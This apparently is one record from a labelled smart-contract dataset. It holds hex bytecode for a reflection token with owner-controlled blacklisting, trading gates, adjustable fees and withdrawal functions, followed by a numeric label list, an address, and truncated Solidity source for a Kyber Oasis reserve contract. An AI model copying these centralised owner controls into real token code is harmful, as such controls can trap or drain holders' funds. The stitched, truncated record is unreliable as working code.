06121f2565b611c68565b5060019392505050565b6000600954821115610b135760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084015b60405180910390fd5b6000610b1d61221e565b9050610b298382611c5c565b9392505050565b6000546001600160a01b03163314610b5a5760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b03811660009081526006602052604090205460ff16610bc25760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b0a565b60005b600754811015610ce257816001600160a01b031660078281548110610bec57610bec613387565b6000918252602090912001546001600160a01b031603610cd05760078054610c16906001906133b3565b81548110610c2657610c26613387565b600091825260209091200154600780546001600160a01b039092169183908110610c5257610c52613387565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600690925220805460ff191690556007805480610caa57610caa6133ca565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610cda816133e0565b915050610bc5565b5050565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610a34918590610a989086612241565b3360008181526006602052604090205460ff1615610d915760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610b0a565b6000610d9c8361224d565b505050506001600160a01b038416600090815260016020526040902054919250610dc8919050826122a9565b6001600160a01b038316600090815260016020526040902055600954610dee90826122a9565b600955600a54610dfe9084612241565b600a55505050565b6000546001600160a01b03163314610e305760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000600854831115610ea85760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b0a565b81610ec7576000610eb88461224d565b50939550610a38945050505050565b6000610ed28461224d565b50929550610a38945050505050565b6000546001600160a01b03163314610f0b5760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b03811660009081526006602052604090205460ff1615610f745760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b0a565b6001600160a01b03811660009081526001602052604090205415610fce576001600160a01b038116600090815260016020526040902054610fb490610aa7565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b0316331461105e5760405162461bcd60e51b8152600401610b0a90613352565b600f805461ffff95861663ffffffff199091161762010000948616949094029390931767ffffffff000000001916600160201b9285169290920267ffff000000000000191691909117600160301b9190931602919091179055565b6000546001600160a01b031633146110e35760405162461bcd60e51b8152600401610b0a90613352565b6110f581670de0b6b3a76400006133f9565b60165550565b6000546001600160a01b031633146111255760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b03811661118c5760405162461bcd60e51b815260206004820152602860248201527f6d61726b6574696e6757616c6c657420616464726573732063616e206e6f74206044820152676265207a65726f2160c01b6064820152608401610b0a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111d85760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6001600160a01b03811660009081526006602052604081205460ff161561124057506001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260016020526040902054610a3890610aa7565b6000546001600160a01b0316331461128c5760405162461bcd60e51b8152600401610b0a90613352565b61129660006122b5565b565b6000546001600160a01b031633146112c25760405162461bcd60e51b8152600401610b0a90613352565b6013805460ff60b01b1916600160b01b179055565b6000546001600160a01b031633146113015760405162461bcd60e51b8152600401610b0a90613352565b600e805461ffff95861663ffffffff199091161762010000948616949094029390931767ffffffff000000001916600160201b9285169290920267ffff000000000000191691909117600160301b9190931602919091179055565b6060600c80546109a490613318565b6000610a343384610a9885604051806060016040528060258152602001613593602591393360009081526003602090815260408083206001600160a01b038d16845290915290205491906121f2565b6000546001600160a01b031633146113e45760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b0381166114495760405162461bcd60e51b815260206004820152602660248201527f6275796261636b57616c6c657420616464726573732063616e206e6f74206265604482015265207a65726f2160d01b6064820152608401610b0a565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a34338484611d8c565b6000546001600160a01b031633146114a25760405162461bcd60e51b8152600401610b0a90613352565b60138054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906114ef90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146115245760405162461bcd60e51b8152600401610b0a90613352565b6010546001600160a01b03600160401b90910481169082160361159c5760405162461bcd60e51b815260206004820152602a60248201527f544f4b454e3a2054686520726f7574657220616c7265616479206861732074686044820152696174206164647265737360b01b6064820152608401610b0a565b80601060086101000a8154816001600160a01b0302191690836001600160a01b031602179055506000601060089054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c9190613418565b6001600160a01b031663e6a4390530601060089054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561169e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c29190613418565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561170d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117319190613418565b90506001600160a01b0381166118d357601060089054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b89190613418565b6001600160a01b031663c9c6539630601060089054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183e9190613418565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561188b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118af9190613418565b601180546001600160a01b0319166001600160a01b03929092169190911790555050565b601180546001600160a01b0383166001600160a01b03199091161790555050565b6000546001600160a01b0316331461191e5760405162461bcd60e51b8152600401610b0a90613352565b61193081670de0b6b3a76400006133f9565b60155550565b6000546001600160a01b031633146119605760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146119ab5760405162461bcd60e51b8152600401610b0a90613352565b601755565b6000546001600160a01b031633146119da5760405162461bcd60e51b8152600401610b0a90613352565b6001600160a01b038116611a3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b0a565b611a48816122b5565b50565b6000546001600160a01b03163314611a755760405162461bcd60e51b8152600401610b0a90613352565b611a8781670de0b6b3a76400006133f9565b60145550565b6000546001600160a01b03163314611ab75760405162461bcd60e51b8152600401610b0a90613352565b306001600160a01b03821603611b015760405162461bcd60e51b815260206004820152600f60248201526e4e6f207275672070756c6c73203a2960881b6044820152606401610b0a565b6001600160a01b038116611b4957600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610ce2573d6000803e3d6000fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa158015611b92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bb69190613435565b9050816001600160a01b031663a9059cbb611bd96000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015611c26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4a919061344e565b50505050565b6000610b2982846133f9565b6000610b29828461346b565b6001600160a01b038316611cca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b0a565b6001600160a01b038216611d2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b0a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611df05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b0a565b6001600160a01b038216611e525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b0a565b60008111611eb45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b0a565b6001600160a01b03831660009081526005602052604090205460ff16158015611ef657506001600160a01b03821660009081526005602052604090205460ff16155b611f3b5760405162461bcd60e51b81526020600482015260166024820152751058d8dbdd5b9d081a5cc8189b1858dadb1a5cdd195960521b6044820152606401610b0a565b601354600160b01b900460ff1680611f6b57506001600160a01b03831660009081526004602052604090205460ff165b611fb75760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f7420656e61626c6564207965740000000000006044820152606401610b0a565b6000611fc230611203565b60175490915081108015908190611fe35750601354600160a01b900460ff16155b8015611ffd57506011546001600160a01b03868116911614155b80156120125750601354600160a81b900460ff165b1561219357601754600f54600e549193506000916120bf9161ffff600160201b808304821693908104821692828116928281169261205d92620100009081900483169291041661348d565b612067919061348d565b612071919061348d565b61207b919061348d565b612085919061348d565b600f54600e5461ffff928316926120b9926120ae9262010000918290048316929190041661348d565b869061ffff16611c50565b90611c5c565b90506120ca81612305565b600f54600e546000916121689161ffff600160201b808404821693908304821692828216928181169261210b9262010000918290048316929190041661348d565b612115919061348d565b61211f919061348d565b612129919061348d565b612133919061348d565b600f54600e5461ffff928316926120b99261215d92600160201b918290048316929190041661348d565b879061ffff16611c50565b90506121738161237c565b6121908161218184876133b3565b61218b91906133b3565b6123e0565b50505b6001600160a01b03851660009081526004602052604090205460019060ff16806121d557506001600160a01b03851660009081526004602052604090205460ff165b156121de575060005b6121ea86868684612487565b505050505050565b600081848411156122165760405162461bcd60e51b8152600401610b0a91906130e9565b505050900390565b600080600061222b6127e4565b909250905061223a8282611c5c565b9250505090565b6000610b2982846134b3565b60008060008060008060008060008060006122678c612966565b94509450945094509450600080600061228b8f8888888861228661221e565b6129da565b919f509d509b50969950949750929550505050505091939550919395565b6000610b2982846133b3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6013805460ff60a01b1916600160a01b1790554761232282612a4e565b600061232e47836122a9565b6012546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612369573d6000803e3d6000fd5b50506013805460ff60a01b191690555050565b6013805460ff60a01b1916600160a01b1790554761239982612a4e565b60006123a547836122a9565b6013546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612369573d6000803e3d6000fd5b6013805460ff60a01b1916600160a01b1790556000612400826002611c5c565b9050600061240e83836122a9565b90504761241a83612a4e565b600061242647836122a9565b90506124328382612bc7565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506013805460ff60a01b19169055505050565b61249d6010805467ffffffffffffffff19169055565b8015612690576011546001600160a01b0384811691161461251557601654826124c585611203565b6124cf91906134b3565b11156125155760405162461bcd60e51b815260206004820152601560248201527410985b185b98d948195e18d959591cc81b1a5b5a5d605a1b6044820152606401610b0a565b6011546001600160a01b03908116908516036125d2576014548211156125715760405162461bcd60e51b8152602060048201526011602482015270109d5e48195e18d959591cc81b1a5b5a5d607a1b6044820152606401610b0a565b600e5460108054600160301b80840461ffff90811663ffffffff1990931692909217828516620100009081029190911767ffffffff000000001916600160201b80870485169390930265ffff00000000191617940491909116029190911790555b6011546001600160a01b03908116908416036126905760155482111561262f5760405162461bcd60e51b815260206004820152601260248201527114d95b1b08195e18d959591cc81b1a5b5a5d60721b6044820152606401610b0a565b600f5460108054600160301b80840461ffff90811663ffffffff1990931692909217828516620100009081029190911767ffffffff000000001916600160201b80870485169390930265ffff00000000191617940491909116029190911790555b6001600160a01b03841660009081526006602052604090205460ff1680156126d157506001600160a01b03831660009081526006602052604090205460ff16155b156126e6576126e1848484612c86565b611c4a565b6001600160a01b03841660009081526006602052604090205460ff1615801561272757506001600160a01b03831660009081526006602052604090205460ff165b15612737576126e1848484612dc6565b6001600160a01b03841660009081526006602052604090205460ff1615801561277957506001600160a01b03831660009081526006602052604090205460ff16155b15612789576126e1848484612e6f565b6001600160a01b03841660009081526006602052604090205460ff1680156127c957506001600160a01b03831660009081526006602052604090205460ff165b156127d9576126e1848484612eb3565b611c4a848484612e6f565b6009546008546000918291825b6007548110156129365782600160006007848154811061281357612813613387565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061287e575081600260006007848154811061285757612857613387565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561289457600954600854945094505050509091565b6128da60016000600784815481106128ae576128ae613387565b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906122a9565b925061292260026000600784815481106128f6576128f6613387565b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906122a9565b91508061292e816133e0565b9150506127f1565b5060085460095461294691611c5c565b82101561295d576009546008549350935050509091565b90939092509050565b60008060008060008061297887612f26565b9050600061298588612f42565b9050600061299289612f64565b9050600061299f8a612f87565b905060006129b7846129b18d886122a9565b906122a9565b90506129c7826129b183866122a9565b9b949a5092985090965094509092505050565b60008080806129e98a86611c50565b905060006129f78a87611c50565b90506000612a058a88611c50565b90506000612a138a89611c50565b90506000612a218a8a611c50565b90506000612a37826129b1858188818c8c6122a9565b959f959e50939c50939a5050505050505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a8357612a83613387565b60200260200101906001600160a01b031690816001600160a01b031681525050601060089054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b1a9190613418565b81600181518110612b2d57612b2d613387565b6001600160a01b039283166020918202929092010152601054612b5a913091600160401b90041684611c68565b60105460405163791ac94760e01b8152600160401b9091046001600160a01b03169063791ac94790612b999085906000908690309042906004016134cb565b600060405180830381600087803b158015612bb357600080fd5b505af11580156121ea573d6000803e3d6000fd5b601054612be6903090600160401b90046001600160a01b031684611c68565b60105460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a4820152600160401b9091046001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015612c5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c7f919061353c565b5050505050565b600080600080600080612c988761224d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150612cca90886122a9565b6001600160a01b038a16600090815260026020908152604080832093909355600190522054612cf990876122a9565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054612d289086612241565b6001600160a01b038916600090815260016020526040902055612d4a81612faa565b612d64612d5688612f64565b612d5f89612f87565b613033565b612d6e84836130c5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612db391815260200190565b60405180910390a3505050505050505050565b600080600080600080612dd88761224d565b6001600160a01b038f16600090815260016020526040902054959b50939950919750955093509150612e0a90876122a9565b6001600160a01b03808b16600090815260016020908152604080832094909455918b16815260029091522054612e409084612241565b6001600160a01b038916600090815260026020908152604080832093909355600190522054612d289086612241565b600080600080600080612e818761224d565b6001600160a01b038f16600090815260016020526040902054959b50939950919750955093509150612cf990876122a9565b600080600080600080612ec58761224d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150612ef790886122a9565b6001600160a01b038a16600090815260026020908152604080832093909355600190522054612e0a90876122a9565b601054600090610a38906064906120b990859061ffff16611c50565b601054600090610a38906064906120b990859062010000900461ffff16611c50565b601054600090610a38906064906120b9908590600160301b900461ffff16611c50565b601054600090610a38906064906120b9908590600160201b900461ffff16611c50565b6000612fb461221e565b90506000612fc28383611c50565b30600090815260016020526040902054909150612fdf9082612241565b3060009081526001602090815260408083209390935560069052205460ff161561302e573060009081526002602052604090205461301d9084612241565b306000908152600260205260409020555b505050565b600061303d61221e565b9050600061304b8483611c50565b905060006130598484611c50565b3060009081526001602052604090205490915061308290839061307c9084612241565b90612241565b306000908152600160209081526040808320939093556002905220546130ae90869061307c9087612241565b306000908152600260205260409020555050505050565b6009546130d290836122a9565b600955600a546130e29082612241565b600a555050565b600060208083528351808285015260005b81811015613116578581018301518582016040015282016130fa565b81811115613128576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611a4857600080fd5b6000806040838503121561316657600080fd5b82356131718161313e565b946020939093013593505050565b60008060006060848603121561319457600080fd5b833561319f8161313e565b925060208401356131af8161313e565b929592945050506040919091013590565b6000602082840312156131d257600080fd5b5035919050565b6000602082840312156131eb57600080fd5b8135610b298161313e565b8015158114611a4857600080fd5b6000806040838503121561321757600080fd5b823591506020830135613229816131f6565b809150509250929050565b803561ffff8116811461324657600080fd5b919050565b6000806000806080858703121561326157600080fd5b61326a85613234565b935061327860208601613234565b925061328660408601613234565b915061329460608601613234565b905092959194509250565b600080604083850312156132b257600080fd5b82356132bd8161313e565b91506020830135613229816131f6565b6000602082840312156132df57600080fd5b8135610b29816131f6565b600080604083850312156132fd57600080fd5b82356133088161313e565b915060208301356132298161313e565b600181811c9082168061332c57607f821691505b60208210810361334c57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000828210156133c5576133c561339d565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600182016133f2576133f261339d565b5060010190565b60008160001904831182151516156134135761341361339d565b500290565b60006020828403121561342a57600080fd5b8151610b298161313e565b60006020828403121561344757600080fd5b5051919050565b60006020828403121561346057600080fd5b8151610b29816131f6565b60008261348857634e487b7160e01b600052601260045260246000fd5b500490565b600061ffff8083168185168083038211156134aa576134aa61339d565b01949350505050565b600082198211156134c6576134c661339d565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561351b5784516001600160a01b0316835293830193918301916001016134f6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561355157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ad5b4dcb39d98d505a0e4cb41997b8a6e11d6fd47e29af317336d52bc02c328064736f6c634300080d0033
[ 13, 16, 5, 11 ]
0xF35fF826cfD6F9Eb3Ca2Ad7A990C23C22EB1F262
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/KyberOasisReserve.sol contract OtcInterface { function getBuyAmount(address, address, uint) public constant returns (uint); } contract OasisDirectInterface { function sellAllAmountPayEth(OtcInterface, ERC20, ERC20, uint)public payable returns (uint); function sellAllAmountBuyEth(OtcInterface, ERC20, uint, ERC20, uint) public returns (uint); } contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils { address public kyberNetwork; OasisDirectInterface public oasisDirect; OtcInterface public otc; ERC20 public wethToken; ERC20 public tradeToken; bool public tradeEnabled; uint public feeBps; function KyberOasisReserve( address _kyberNetwork, OasisDirectInterface _oasisDirect, OtcInterface _otc, ERC20 _wethToken, ERC20 _tradeToken, address _admin, uint _feeBps ) public { require(_admin != address(0)); require(_oasisDirect != address(0)); require(_kyberNetwork != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); kyberNetwork = _kyberNetwork; oasisDirect = _oasisDirect; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; admin = _admin; feeBps = _feeBps; tradeEnabled = true; } function() public payable { DepositToken(ETH_TOKEN_ADDRESS, msg.value); } event TradeExecute( address indexed origin, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate)); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event ReserveParamsSet( address kyberNetwork, OasisDirectInterface oasisDirect, OtcInterface otc, ERC20 wethToken, ERC20 tradeToken, uint feeBps ); function setReserveParams( address _kyberNetwork, OasisDirectInterface _oasisDirect, OtcInterface _otc, ERC20 _wethToken, ERC20 _tradeToken, uint _feeBps ) public onlyAdmin { require(_kyberNetwork != address(0)); require(_oasisDirect != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); kyberNetwork = _kyberNetwork; oasisDirect = _oasisDirect; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; feeBps = _feeBps; ReserveParamsSet(kyberNetwork, oasisDirect, otc, wethToken, tradeToken, feeBps); } function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcDstQty(srcQty, srcDecimals, dstDecimals, rate); } function valueAfterReducingFee(uint val) public view returns(uint) { require(val <= MAX_QTY); return ((10000 - feeBps) * val) / 10000; } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { uint rate; uint destQty; ERC20 wrappedSrc; ERC20 wrappedDest; uint actualSrcQty; uint actualDestQty; bool sellEth; blockNumber; if (!tradeEnabled) return 0; if ((tradeToken != src) && (tradeToken != dest)) return 0; sellEth = (src == ETH_TOKEN_ADDRESS); if (sellEth) { wrappedSrc = wethToken; wrappedDest = dest; actualSrcQty = valueAfterReducingFee(srcQty); } else if (dest == ETH_TOKEN_ADDRESS) { wrappedSrc = src; wrappedDest = wethToken; actualSrcQty = srcQty; } else { return 0; } destQty = otc.getBuyAmount(wrappedDest, wrappedSrc, actualSrcQty); if (sellEth) { actualDestQty = destQty; } else { actualDestQty = valueAfterReducingFee(destQty); } require(actualDestQty < MAX_QTY); rate = actualDestQty * PRECISION / srcQty; return rate; } function doTrade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) internal returns(bool) { uint actualDestAmount; require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken)); require((tradeToken == srcToken) || (tradeToken == destToken)); // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate); // sanity check require(destAmount > 0); if (srcToken == ETH_TOKEN_ADDRESS) { actualDestAmount = oasisDirect.sellAllAmountPayEth.value(msg.value)(otc, wethToken, destToken, destAmount); require(actualDestAmount >= destAmount); // transfer back only requested dest amount. require(destToken.transfer(destAddress, destAmount)); } else { require(srcToken.transferFrom(msg.sender, this, srcAmount)); if (srcToken.allowance(this, oasisDirect) < srcAmount) { srcToken.approve(oasisDirect, uint(-1)); } actualDestAmount = oasisDirect.sellAllAmountBuyEth(otc, 